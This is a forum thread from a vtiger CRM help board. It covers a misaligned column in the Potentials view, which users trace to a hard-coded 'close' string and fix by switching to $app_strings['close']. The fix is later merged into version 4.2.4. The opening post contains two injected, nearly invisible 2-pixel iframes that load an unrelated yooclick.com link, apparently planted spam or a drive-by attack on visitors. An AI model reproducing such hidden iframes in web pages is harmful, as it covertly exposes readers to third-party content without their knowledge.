gui bug in Potentials

edited February 2006 in Help - 4.x Vote Up0Vote Down
Hello,

When I get a detailview of a potential, I seem to have a miss-aligned column in the activities section.

Am I the only one? I tried to fix it but couldn't find where I should look. All help appriciated. <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>; <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>;

Comments

  • 10 Comments sorted by Votes Date Added
  • if you have applied this fixies:
    <!-- m --><a class="postlink" href="http://forums.vtiger.com/viewtopic.php?t=2852&highlight=">http://forums.vtiger.com/viewtopic.php? ... highlight=</a><!-- m -->

    and you use a non english language, than:
    please try it:

    change in include\language\"your language file"

    in the line 611 'close'=>'close'

    i have the same issue.
    if i set in the line 611 'close'=>'close' it work corect by me.

    kleo
  • "kleo&quot wrote:
    if you have applied this fixies:
    <!-- m --><a class="postlink" href="http://forums.vtiger.com/viewtopic.php?t=2852&highlight=">http://forums.vtiger.com/viewtopic.php? ... highlight=</a><!-- m -->

    and you use a non english language, than:
    please try it:

    change in include\language"your language file"

    in the line 611 'close'=>'close'

    i have the same issue.
    if i set in the line 611 'close'=>'close' it work corect by me.

    kleo

    yes, if you make your own language file, make sure you copy an existing one and modify the portion after the => and keep the text in single quotes.

    if you leave out any definitions or change the name on the left side you will have problems.
  • yes, i found and fixed the thing. however, this is imho a bug in the source. in include/utils.php it says

    //added condition to hide the close column in related lists
    if($name == 'close' && $relatedlist != '')

    clearly this violates a basic multi-language programming rule not to use one language directly in the source.

    unfortunatetly i am not fluent enough in vtiger to fix this myself, but i look forward to any and all patches to 'get' the inner workings.

    kind regards,
  • i have fixed this issue:

    change the original code
    //added condition to hide the close column in related lists
    if&#40;$name == 'close' &amp;&amp; $relatedlist != ''&#41;
    

    with this
    //added condition to hide the close column in related lists
    if&#40;$name == $app_strings&#91;'close'&#93; &amp;&amp; $relatedlist != ''&#41;
    

    kleo
  • i think, it would be good, if we together change all hard code to app_strings. it would be good for all non-english user !

    who would like to realize it with me?

    regards,
    kleo
  • sounds great.

    make sure you post (or send your changes to vtigercrm-developers -at- lists.vtigercrm.com) in diff -u format or use winmerge to generate the patches against 4.2.3.

    thanks
  • thanks kleo for the fix and juao for converting it to unified diff format.

    it will be in 4.2.4:
    <!-- m --><a class="postlink" href="http://vtiger.fosslabs.com/cgi-bin/trac.cgi/changeset/3879">http://vtiger.fosslabs.com/cgi-bin/trac ... geset/3879</a><!-- m -->
Sign In or Register to comment.